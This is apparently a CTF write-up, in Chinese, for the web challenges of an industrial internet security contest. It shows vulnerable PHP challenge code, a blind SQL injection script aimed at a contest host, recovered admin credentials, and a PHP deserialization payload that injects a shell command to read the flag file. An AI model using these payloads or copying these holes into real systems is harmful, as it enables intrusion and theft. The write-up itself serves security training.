XCTF-赛博地球杯工业互联网安全大赛web部分题解

 <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }
      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;
       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

#!/usr/bin/env python
# encoding: utf-8
import requests
flag = ""
url = "http://47.104.1.173:20004/findpwd.php"
for i in range(1,1000):
    for j in range(33,127):
        data = {
            #"username" :"admin' or ascii(substr((select SCHEMA_NAME from information_schema.SCHEMATA limit 3,1),%s,1))=%s#"%(i,j)
            #"username": "admin' or ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x63657463303034),%s,1))=%s#" % (i, j)
            #"username": "admin' or ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1),%s,1))=%s#" % (i, j)
            "username": "admin' or ascii(substr((select username from `cetc004`.admin limit 0,1),%s,1))=%s#" % (i, j)
        }
        r = requests.post(url=url,data=data)
        if "您的密保问题是cetc" in r.content:
            flag += chr(j)
            print flag
            break

username,password,question,answer
username=c3tlwDmIn23
password=2f8667f381ff50ced6a3edc259260ba9
question=cetc
answer=cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds

if(isset($ad)){
    if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
    {
        echo '<script>alert("Sorry ! Again !")</script>';
    }
    elseif(strpos($ad, '--') !== FALSE)
    {
                            echo "Ok Evrything will be fine!<br ><br >";
                            if (stripos($secret, './') > 0) {
                                   die();
                            }
        unserialize($secret);
    }
    else
    {
        echo '<script>alert("Sorry ! You must have --")</script>';
    }
 }
class.php
php
<?php
error_reporting(0);
class Record{
    public $file="Welcome";
    public function __construct($file)
    {
        $this->file = $file;
    }
    public function __sleep()
    {
        $this->file = 'sleep.txt';
        return array('file');
    }
    public function __wakeup()
    {
        $this->file = 'wakeup.txt';
    }
    public function __destruct()
    {
        if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
               system("php ./import/$this->file.php");
        }
        else{
               echo "<?php Something destroyed ?>";
        }
    }
}
$b =new Record('Welcome');
unset($b);
?>

class Record{
       public $file="Flag";
    public function __construct($file)
    {
        $this->file = $file;
    }
}
$file = "Flag";
$sky =new Record($file);
echo serialize($sky);

  public function __destruct()
    {
        if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
               system("php ./import/$this->file.php");
        }
        else{
               echo "<?php Something destroyed ?>";
        }
    }
这里也是老生常谈的问题了，只要改变一下:

`O:6:"Record":10:{s:4:"file";s:4:"Flag";}`

<?php
error_reporting(0);
class Record{
    public $file="Flag.php && echo `cat /var/www/html/import/Flag.php`"; 
    public function __construct($file)
    {
        $this->file = $file;
    }
}
$file = "Flag.php && echo `cat /var/www/html/import/Flag.php`";
$sky =new Record($file);
echo serialize($sky);
?>